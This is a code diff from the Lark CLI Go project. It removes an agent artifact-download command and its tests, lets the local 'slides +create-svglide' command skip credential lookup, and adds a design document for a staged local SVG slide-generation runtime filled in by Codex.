-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
-// under vfs. A URL-type artifact is SSRF-validated and fetched over a
-// download-hardened client; an inline-bytes artifact is written directly. The
-// output path is validated with SafeOutputPath (relative, within the CWD)
-// before any write.
-func downloadArtifact(opts *taskOptions) error {
-	safePath, err := validate.SafeOutputPath(opts.Output)
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
-			WithParam("--output").WithCause(err)
-	}
-
-	// Overwriting a local file destroys its content irreversibly — a high-risk
-	// write. It goes through the same confirmation contract as other --force
-	// gates (config bind): without --force, a would-be overwrite returns
-	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
-	// symlink at the path counts as existing rather than being followed.
-	if !opts.Force {
-		if _, statErr := vfs.Lstat(safePath); statErr == nil {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
-				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
-				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
-		}
-	}
-
-	ctx := opts.Cmd.Context()
-	art, err := resolveDownload(opts)
-	if err != nil {
-		return err
-	}
-
-	data := art.Bytes
-	if art.URL != "" {
-		data, err = artifactFetch(ctx, opts.Factory, art.URL)
-		if err != nil {
-			return err
-		}
-	}
-
-	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
-	}
-
-	f := opts.Factory
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
-		fmt.Fprintf(out, "path: %s\n", safePath)
-		fmt.Fprintf(out, "bytes: %d\n", len(data))
-		if art.Mime != "" {
-			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
-		}
-		// suggested_name is the server-suggested name, for reference only; the
-		// actual on-disk path is already the safePath (-o) above.
-		if art.Name != "" {
-			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
-		}
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"artifact_id":    opts.ArtifactID,
-			"path":           safePath,
-			"bytes":          len(data),
-			"mime":           art.Mime,
-			"suggested_name": art.Name,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
-// a download-hardened HTTP client from the Factory and reads at most
-// maxArtifactBytes of the body. The artifact host is untrusted external content,
-// so both the URL and the redirect chain are guarded.
-func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
-	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
-			WithCause(err)
-	}
-	// Artifact bytes come from an untrusted host over the network; require https
-	// so the payload cannot be read or tampered with in transit. The SSRF check
-	// above already rejects private/loopback hosts and non-http(s) schemes, so a
-	// surviving non-https URL is plain-text http.
-	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
-	}
-	base, err := f.HttpClient()
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
-	}
-	client := hardenDownloadClient(base)
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
-	if err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
-	}
-	defer resp.Body.Close()
-	if resp.StatusCode != http.StatusOK {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
-	}
-	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
-	}
-	return data, nil
-}

cmd/agent/unsupported_test.go

@@ -1,155 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"sync"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// newUnsupProvider builds a stub *Provider driving the command-layer
-// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
-// left UNWIRED (nil), so the command layer's nil-gate must return the typed
-// unsupported_capability before any network access. GetTask is wired to return a
-// task whose IsTerminal deliberately mismatches its State (normalizeTask must
-// re-derive it). Send is wired (core, required by Register) but never called
-// here. There is no capability-refusal code in the provider — "unsupported" is
-// expressed purely by the absent fields.
-func newUnsupProvider() *iagent.Provider {
-	return &iagent.Provider{
-		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
-			panic("unsup provider: Send should not be called")
-		},
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
-			// a provider that forgot to set it or set it wrong).
-			return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
-		},
-		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
-	}
-}
-
-// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
-// panics on duplicates). Like the other fakes it leaks into the package-level
-// registry for the remaining tests of this package run.
-var registerFakeUnsupOnce sync.Once
-
-func registerFakeUnsup() {
-	registerFakeUnsupOnce.Do(func() {
-		iagent.Register("fakeunsup", iagent.ProviderInfo{
-			Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
-			Label:          "test fake (unwired optional capabilities)",
-			AgentRefFormat: "fakeunsup:<agent_id>",
-			AgentIDSource:  "test only",
-			Kind:           iagent.KindInstance,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-	})
-}
-
-// assertUnsupportedCapability pins the full capability-gate contract on err:
-// validation typed, subtype unsupported_capability, exit 2, hint pointing at
-// `agent card <ref>`, and — because the Factory's httpmock registry has zero
-// stubs — no HTTP was issued (any network attempt would have surfaced as an
-// "httpmock: no stub" error instead of the typed one).
-func assertUnsupportedCapability(t *testing.T, err error, ref string) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("an unsupported capability should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card "+ref) {
-		t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
-	}
-	if strings.Contains(err.Error(), "httpmock") {
-		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
-	}
-}
-
-// TestContextListUnsupportedGated pins the capability gate on `context list`: a
-// provider that does not wire ListContexts returns typed unsupported_capability
-// (exit 2) with the agent-card hint, without any HTTP.
-func TestContextListUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
-// `context delete` path (--yes passes, provider does not wire DeleteContext).
-func TestContextDeleteUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
-}
-
-// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
-// provider returning a State/IsTerminal-mismatched task (completed +
-// is_terminal=false) must emit is_terminal=true — the command layer derives
-// the flag from State, the single source of truth.
-func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentTaskGetRun(opts); err != nil {
-		t.Fatalf("task get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["state"] != "completed" {
-		t.Fatalf("data.state should be completed, got %v", data["state"])
-	}
-	if data["is_terminal"] != true {
-		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
-	}
-}
-
-// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
-// (task list / context get share this helper for their nested Tasks).
-func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
-	ts := normalizeTaskSummaries([]iagent.TaskSummary{
-		{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
-		{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true},    // wrong
-	})
-	if !ts[0].IsTerminal {
-		t.Error("completed summary should derive is_terminal=true")
-	}
-	if ts[1].IsTerminal {
-		t.Error("working summary should derive is_terminal=false")
-	}
-	if normalizeTask(nil) != nil {
-		t.Error("normalizeTask(nil) should be nil-safe")
-	}
-}

cmd/auth/auth.go

@@ -22,6 +22,11 @@ import (
 
 // NewCmdAuth creates the auth command with subcommands.
 func NewCmdAuth(f *cmdutil.Factory) *cobra.Command {
+	return NewCmdAuthWithContext(context.Background(), f)
+}
+
+// NewCmdAuthWithContext creates the auth command with subcommands.
+func NewCmdAuthWithContext(ctx context.Context, f *cmdutil.Factory) *cobra.Command {
 	cmd := &cobra.Command{
 		Use:   "auth",
 		Short: "OAuth credentials and authorization management",
@@ -38,7 +43,7 @@ func NewCmdAuth(f *cmdutil.Factory) *cobra.Command {
 	}
 	cmdutil.DisableAuthCheck(cmd)
 
-	cmd.AddCommand(NewCmdAuthLogin(f, nil))
+	cmd.AddCommand(NewCmdAuthLoginWithContext(ctx, f, nil))
 	cmd.AddCommand(NewCmdAuthLogout(f, nil))
 	cmd.AddCommand(NewCmdAuthStatus(f, nil))
 	cmd.AddCommand(NewCmdAuthScopes(f, nil))

cmd/auth/login.go

@@ -42,6 +42,11 @@ var pollDeviceToken = larkauth.PollDeviceToken
 
 // NewCmdAuthLogin creates the auth login subcommand.
 func NewCmdAuthLogin(f *cmdutil.Factory, runF func(*LoginOptions) error) *cobra.Command {
+	return NewCmdAuthLoginWithContext(context.Background(), f, runF)
+}
+
+// NewCmdAuthLoginWithContext creates the auth login subcommand.
+func NewCmdAuthLoginWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*LoginOptions) error) *cobra.Command {
 	opts := &LoginOptions{Factory: f}
 
 	cmd := &cobra.Command{
@@ -73,7 +78,7 @@ to generate QR codes (supports ASCII and PNG formats).`,
 	cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to request (space- or comma-separated). Combines additively with --domain/--recommend")
 	cmd.Flags().BoolVar(&opts.Recommend, "recommend", false, "request only recommended (auto-approve) scopes")
 	var helpBrand core.LarkBrand
-	if f != nil && f.Config != nil {
+	if !cmdutil.IsCredentialBootstrapDisabled(ctx) && f != nil && f.Config != nil {
 		if cfg, err := f.Config(); err == nil && cfg != nil {
 			helpBrand = cfg.Brand
 		}

cmd/build.go

@@ -8,8 +8,6 @@ import (
 	"io"
 	"io/fs"
 
-	_ "github.com/larksuite/cli/agent"
-	"github.com/larksuite/cli/cmd/agent"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -92,8 +90,9 @@ func WithoutPlugins() BuildOption {
 }
 
 // WithoutStrictMode builds the complete repository-owned command tree without
-// applying user/profile strict-mode pruning. It is intended for offline
-// inspection tools, not production execution.
+// applying user/profile strict-mode pruning or credential-backed bootstrap
+// probes. It is intended for offline inspection tools and pure local commands
+// that must not require account configuration.
 func WithoutStrictMode() BuildOption {
 	return func(c *buildConfig) {
 		c.skipStrictMode = true
@@ -148,6 +147,9 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 			o(cfg)
 		}
 	}
+	if cfg.skipStrictMode {
+		ctx = cmdutil.ContextWithCredentialBootstrapDisabled(ctx)
+	}
 	// Default streams when WithIO is not supplied so the root command's
 	// SetIn/Out/Err calls below don't deref nil. NewDefault also normalizes
 	// partial streams internally; keep both in sync so cfg.streams reflects
@@ -194,17 +196,16 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	}
 
 	rootCmd.AddCommand(cmdconfig.NewCmdConfig(f))
-	rootCmd.AddCommand(auth.NewCmdAuth(f))
+	rootCmd.AddCommand(auth.NewCmdAuthWithContext(ctx, f))
 	rootCmd.AddCommand(profile.NewCmdProfile(f))
 	rootCmd.AddCommand(doctor.NewCmdDoctor(f))
-	rootCmd.AddCommand(whoami.NewCmdWhoami(f))
+	rootCmd.AddCommand(whoami.NewCmdWhoamiWithContext(ctx, f))
 	rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
 	rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
 	rootCmd.AddCommand(completion.NewCmdCompletion(f))
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
 	rootCmd.AddCommand(skill.NewCmdSkill(f))
-	rootCmd.AddCommand(agent.NewCmdAgent(f))
 	if !cfg.skipService {
 		if cfg.serviceCatalog != nil {
 			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
@@ -221,8 +222,10 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	// before printing help; non-bare invocations and non-TTY are unaffected.
 	installRootUpgradePrompt(f, rootCmd)
 
-	if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
-		pruneForStrictMode(rootCmd, mode)
+	if !cfg.skipStrictMode {
+		if mode := f.ResolveStrictMode(ctx); mode.IsActive() {
+			pruneForStrictMode(rootCmd, mode)
+		}
 	}
 
 	if cfg.skipPlugins {

cmd/root.go

@@ -103,10 +103,16 @@ func Execute() int {
 	configureFlagCompletions(os.Args)
 
 	ctx := context.Background()
-	f, rootCmd, reg := buildInternal(
-		ctx, inv,
+	buildOpts := []BuildOption{
 		WithIO(os.Stdin, os.Stdout, os.Stderr),
 		HideProfile(isSingleAppMode()),
+	}
+	if isLocalSVGlideInvocation(rawInvocationArgs) {
+		buildOpts = append(buildOpts, WithoutStrictMode())
+	}
+	f, rootCmd, reg := buildInternal(
+		ctx, inv,
+		buildOpts...,
 	)
 
 	// --- Notices (non-blocking) ---
@@ -130,6 +136,30 @@ func Execute() int {
 	return 0
 }
 
+func isLocalSVGlideInvocation(args []string) bool {
+	positionals := make([]string, 0, 2)
+	for i := 0; i < len(args); i++ {
+		arg := args[i]
+		switch {
+		case arg == "--profile":
+			if i+1 < len(args) {
+				i++
+			}
+			continue
+		case strings.HasPrefix(arg, "--profile="):
+			continue
+		case strings.HasPrefix(arg, "-"):
+			continue
+		default:
+			positionals = append(positionals, arg)
+			if len(positionals) == 2 {
+				return positionals[0] == "slides" && positionals[1] == "+create-svglide"
+			}
+		}
+	}
+	return false
+}
+
 // setupNotices wires both the binary update notice and the skills
 // staleness notice into output.PendingNotice as a composed function.
 // Each provider populates an independent key under _notice; either
@@ -565,7 +595,7 @@ func groupRootCommands(root *cobra.Command) {
 		&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
 		&cobra.Group{ID: groupManagement, Title: "CLI management:"},
 	)
-	tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
+	tooling := map[string]bool{"api": true, "schema": true, "skills": true}
 	management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
 	for _, c := range root.Commands() {
 		if c.GroupID != "" {

cmd/root_test.go

@@ -5,9 +5,12 @@ package cmd
 
 import (
 	"bytes"
+	"context"
 	"encoding/json"
 	"fmt"
 	"io"
+	"os"
+	"path/filepath"
 	"strings"
 	"testing"
 
@@ -26,6 +29,27 @@ import (
 	"github.com/larksuite/cli/internal/registry"
 )
 
+type countingKeychain struct {
+	gets    int
+	sets    int
+	removes int
+}
+
+func (k *countingKeychain) Get(service, account string) (string, error) {
+	k.gets++
+	return "", fmt.Errorf("unexpected keychain Get for %s/%s", service, account)
+}
+
+func (k *countingKeychain) Set(service, account, value string) error {
+	k.sets++
+	return fmt.Errorf("unexpected keychain Set for %s/%s", service, account)
+}
+
+func (k *countingKeychain) Remove(service, account string) error {
+	k.removes++
+	return fmt.Errorf("unexpected keychain Remove for %s/%s", service, account)
+}
+
 // TestPersistentPreRunE_AuthCheckDisabledAnnotations verifies that
 // auth, config, and schema commands have auth check disabled,
 // while api does not.
@@ -75,6 +99,63 @@ func TestPersistentPreRunE_ConfigSubcommands(t *testing.T) {
 	}
 }
 
+func TestIsLocalSVGlideInvocation(t *testing.T) {
+	tests := []struct {
+		name string
+		args []string
+		want bool
+	}{
+		{name: "local svglide", args: []string{"slides", "+create-svglide", "--action", "init"}, want: true},
+		{name: "with profile", args: []string{"--profile", "demo", "slides", "+create-svglide"}, want: true},
+		{name: "with profile equals", args: []string{"--profile=demo", "slides", "+create-svglide"}, want: true},
+		{name: "other slides shortcut", args: []string{"slides", "+create"}, want: false},
+		{name: "root help", args: []string{"--help"}, want: false},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := isLocalSVGlideInvocation(tt.args); got != tt.want {
+				t.Fatalf("isLocalSVGlideInvocation(%v) = %v, want %v", tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestLocalSVGlideRootCommandDoesNotTouchKeychain(t *testing.T) {
+	dir := t.TempDir()
+	t.Chdir(dir)
+	if err := os.WriteFile("source.md", []byte("# Demo"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var in, out, errOut bytes.Buffer
+	kc := &countingKeychain{}
+	_, rootCmd, _ := buildInternal(
+		context.Background(),
+		cmdutil.InvocationContext{},
+		WithIO(&in, &out, &errOut),
+		WithKeychain(kc),
+		WithoutStrictMode(),
+		WithoutPlugins(),
+	)
+	rootCmd.SetArgs([]string{
+		"slides",
+		"+create-svglide",
+		"--action", "init",
+		"--title", "Demo",
+		"--input", "source.md",
+		"--out", "run-demo",
+	})
+	if err := rootCmd.Execute(); err != nil {
+		t.Fatalf("Execute() error = %v\nstdout=%s\nstderr=%s", err, out.String(), errOut.String())
+	}
+	if kc.gets != 0 || kc.sets != 0 || kc.removes != 0 {
+		t.Fatalf("keychain touched: gets=%d sets=%d removes=%d", kc.gets, kc.sets, kc.removes)
+	}
+	if _, err := os.Stat(filepath.Join("run-demo", "run.json")); err != nil {
+		t.Fatalf("missing run.json: %v", err)
+	}
+}
+
 func TestRootLong_AgentSkillsLinkTargetsReadmeSection(t *testing.T) {
 	// The human skills-install guidance now lives in the root usage-template
 	// footer (below the command list), not in the agent-facing Long.

cmd/whoami/whoami.go

@@ -54,6 +54,12 @@ type Options struct {
 // local-only; when an external credential provider manages tokens, resolving
 // the identity may contact that provider.
 func NewCmdWhoami(f *cmdutil.Factory) *cobra.Command {
+	return NewCmdWhoamiWithContext(context.Background(), f)
+}
+
+// NewCmdWhoamiWithContext creates the whoami command using the build context
+// for registration-time strict-mode presentation.
+func NewCmdWhoamiWithContext(ctx context.Context, f *cmdutil.Factory) *cobra.Command {
 	opts := &Options{Factory: f}
 	cmd := &cobra.Command{
 		Use:   "whoami",
@@ -63,7 +69,7 @@ func NewCmdWhoami(f *cmdutil.Factory) *cobra.Command {
 		},
 	}
 	cmdutil.DisableAuthCheck(cmd)
-	cmdutil.AddAPIIdentityFlag(context.Background(), cmd, f, &opts.As)
+	cmdutil.AddAPIIdentityFlag(ctx, cmd, f, &opts.As)
 	// Output is always JSON. Accept (and ignore) --json so existing
 	// `whoami --json` callers don't break; hide it to avoid implying a non-JSON
 	// mode exists.

docs/superpowers/specs/2026-07-02-create-svglide-codex-runtime-design.md

@@ -0,0 +1,259 @@
+# `slides +create-svglide` Codex Runtime Design
+
+Date: 2026-07-02
+Branch: `feat-svglide-07`
+Scope: first local-only version of `lark-cli slides +create-svglide`
+
+## Result
+
+Build `slides +create-svglide` as a staged local runtime for AnyGen SVG Slides. The command creates and manages a run directory that Codex can fill with generated content, assets, and SVG slides. The CLI owns state, prompts, schemas, validation, preview, receipts, and recovery. Codex owns LLM reasoning, web research, image/search execution, chart design, and SVG authoring.
+
+The first version does not publish to Feishu Slides. It must produce a local, inspectable SVG deck workbench.
+
+## Context
+
+`feat-svglide-07` currently starts from the latest `origin/main` and has only the existing Slides XML shortcut surface. There is no current `+create-svglide` implementation on this branch.
+
+The AnyGen SVG Slides prompt should be reused as contracts and workflow rules, not pasted as one large prompt. Its value is split across request interpretation, research, design brief, outline, `slide_content.md`, asset planning, SVG authoring, protocol validation, preview, and repair.
+
+## Goals
+
+- Add a staged `slides +create-svglide` command group.
+- Create a local run directory under a user-specified `--out` path, usually `.lark-slides/svglide-runs/<run-id>`.
+- Generate prompt task files that tell Codex exactly what to produce for each stage.
+- Generate JSON schemas for stage outputs.
+- Track stage state in `run.json`.
+- Validate JSON outputs, SVG protocol basics, asset href existence, slide count, placeholder slides, and preview generation.
+- Generate `preview.html` for local inspection.
+- Write receipts and `repair_queue.md` so failed runs can resume from the current stage.
+
+## Non-Goals
+
+- No online Feishu Slides creation.
+- No `slide_engine` or `slide` server changes.
+- No SVG-to-SXSD conversion.
+- No built-in model API provider.
+- No built-in web search, image generation, or image search client.
+- No complete 12-agent process runner.
+- No PPTX import/edit workflow.
+
+## Command Surface
+
+```bash
+lark-cli slides +create-svglide init --title "Demo" --input ./source.md --audience "..." --delivery-mode self_read --pages 8 --out ./.lark-slides/svglide-runs/demo
+lark-cli slides +create-svglide next <run-dir>
+lark-cli slides +create-svglide status <run-dir>
+lark-cli slides +create-svglide validate <run-dir>
+lark-cli slides +create-svglide preview <run-dir>
+```
+
+`init` creates the run directory, writes the initial request files, schemas, stage prompts, and `run.json`.
+
+`next` reads `run.json`, finds the next stage, verifies required inputs, renders or refreshes that stage's Codex task prompt, and reports the exact files Codex must create. It must not pretend LLM work is complete.
+
+`status` checks declared outputs and receipts for each stage, then prints the current stage, missing files, and next useful command.
+
+`validate` runs deterministic checks and writes validation receipts.
+
+`preview` writes `preview.html` from `outline/deck.json` and `slides/*.svg`.
+
+## Run Directory Contract
+
+```text
+<run-dir>/
+  run.json
+  README.md
+  request/request.json
+  request/source_manifest.json
+  research/research_notes.md
+  research/sources.json
+  brief/design_brief.json
+  brief/visual_system.json
+  outline/deck.json
+  content/slide_content.md
+  content/slide_content.json
+  assets/assets_plan.json
+  assets/images/
+  assets/charts/
+  slides/*.svg
+  prompts/*.task.md
+  schemas/*.schema.json
+  receipts/*.json
+  receipts/generation_summary.md
+  repair_queue.md
+  preview.html
+```
+
+The run directory is local agent state. It should not be committed by default.
+
+## State Model
+
+`run.json` stores:
+
+- version
+- runtime, always `codex` in v1
+- command name
+- title
+- created and updated timestamps
+- current stage
+- stage list with status, inputs, outputs, and receipt path
+- important artifact paths
+- policy flags: `publish_enabled=false`, `network_by_codex=true`, `image_generation_by_codex=true`, `overwrite=false`
+
+Stage statuses:
+
+```text
+pending
+ready
+in_progress
+done
+failed
+blocked
+needs_repair
+```
+
+## Stage Design
+
+### 1. request
+
+Role: Request Interpreter
+
+Input: CLI flags and local source path.
+
+Output: `request/request.json`, `request/source_manifest.json`.
+
+Validation: title, audience, delivery mode, page count, and source references must be explicit or marked missing.
+
+### 2. research
+
+Role: Researcher
+
+Input: request files and source files.
+
+Output: `research/research_notes.md`, `research/sources.json`.
+
+Validation: key facts need source references. Codex may perform web research, but the CLI only validates resulting files.
+
+### 3. design_brief
+
+Role: Design Brief Resolver and Visual System Planner
+
+Input: request and research outputs.
+
+Output: `brief/design_brief.json`, `brief/visual_system.json`.
+
+Validation: narrative spine, depth, tone, and visual system dimensions must be present.
+
+### 4. outline
+
+Role: Outline Planner
+
+Input: design brief.
+
+Output: `outline/deck.json`.
+
+Validation: page count matches request; each slide has id, title, summary, role, and key message.
+
+### 5. slide_content
+
+Role: Content Builder
+
+Input: deck outline and research notes.
+
+Output: `content/slide_content.md`, `content/slide_content.json`.
+
+Validation: every slide has key material, content blocks, and source notes. This is content planning, not final layout.
+
+### 6. assets
+
+Role: Asset Planner and Chart Generator
+
+Input: slide content and visual system.
+
+Output: `assets/assets_plan.json`, optional `assets/images/*`, optional `assets/charts/*.svg`.
+
+Validation: every planned asset has purpose plus either a local path or a fallback. Chart takeaway must be written before chart type.
+
+### 7. svg_author
+
+Role: SVG Author
+
+Input: deck, slide content, visual system, and assets.
+
+Output: `slides/*.svg`.
+
+Validation: each slide must contain more than a background. Each slide needs a background, title, visible content or visual element, semantic id, and valid SVG root.
+
+### 8. validate_preview_repair
+
+Role: Protocol Validator, Preview Agent, and Repair Agent
+
+Input: generated slides.
+
+Output: `receipts/lint.json`, `receipts/preview.json`, `repair_queue.md`, `preview.html`.
+
+Validation: SVG protocol lint, local href checks, slide count match, preview write success, and unresolved issues recorded in the repair queue.
+
+## Code Layout
+
+```text
+shortcuts/slides/
+  slides_create_svglide.go
+  slides_create_svglide_test.go
+
+internal/svglide/
+  run.go
+  init.go
+  stage.go
+  prompt.go
+  schema.go
+  validate.go
+  preview.go
+  receipt.go
+```
+
+The shortcut package should stay thin. State, prompt rendering, validation, and preview logic belong in `internal/svglide` so they can be tested without a Cobra/runtime-heavy command harness.
+
+## Skill Documentation
+
+Update `skills/lark-slides/SKILL.md` and add a focused reference file for the local SVG runtime. The skill should explain that `+create-svglide` is local-only in v1, requires Codex to fill stage outputs, and must not be described as an online publish path.
+
+## Error Handling
+
+- Missing required inputs block the stage and write a receipt.
+- Invalid JSON or schema mismatch marks the stage failed.
+- Invalid SVG marks `needs_repair` and writes `repair_queue.md`.
+- Existing output paths are not overwritten unless an explicit overwrite policy is enabled.
+- Partially completed stages remain inspectable; reruns resume from the current stage.
+
+## Tests
+
+Unit tests:
+
+- `init` creates the expected directory tree and `run.json`.
+- `init` refuses to overwrite an existing run directory by default.
+- `status` identifies missing outputs.
+- `next` renders the correct stage prompt and does not mark Codex-only stages done.
+- `validate` catches invalid SVG, missing hrefs, placeholder slides, and slide count mismatch.
+- `preview` writes HTML that references generated SVG files.
+
+Fixtures:
+
+- `testdata/svglide_run_valid/`
+- `testdata/svglide_run_invalid/`
+
+No live end-to-end test is required for v1 because this version does not call Feishu APIs.
+
+## Acceptance Criteria
+
+- A user can initialize a run directory from local input.
+- Codex can follow generated task prompts stage by stage.
+- The CLI can report status and missing artifacts.
+- The CLI can validate a completed local SVG deck.
+- The CLI can generate local preview HTML.
+- Failed validation produces actionable repair output.
+- No online presentation is created.
+
+## Further Judgment
+
+This design deliberately optimizes for artifact contracts rather than agent-count symmetry. Once the local runtime is stable, individual stages can be split into fuller agents without changing the run directory contract.

docs/vendor/anygen-svg/source.meta.json

@@ -0,0 +1,8 @@
+{
+  "doc_url": "https://bytedance.larkoffice.com/docx/KnCLd7xr5ohWONxhKsncZ3Lxnvd",
+  "local_full_snapshot": "/Users/bytedance/Documents/Codex/2026-07-01/https-bytedance-larkoffice-com-docx-kncld7xr5ohwonxhksncz3lxnvd/outputs/lark_doc_KnCLd7xr5ohWONxhKsncZ3Lxnvd/full.md",
+  "local_handoff": "/Users/bytedance/Documents/Codex/2026-07-01/https-bytedance-larkoffice-com-docx-kncld7xr5ohwonxhksncz3lxnvd/outputs/anygen-slides-svg-prompt-handoff.md",
+  "fetched_by": "local export",
+  "fetched_for": "slides +create-svglide AnyGen SVG prompt runtime experiment",
+  "experiment_mode": "experiment_unrestricted_assets"
+}

docs/vendor/anygen-svg/source.outline.md

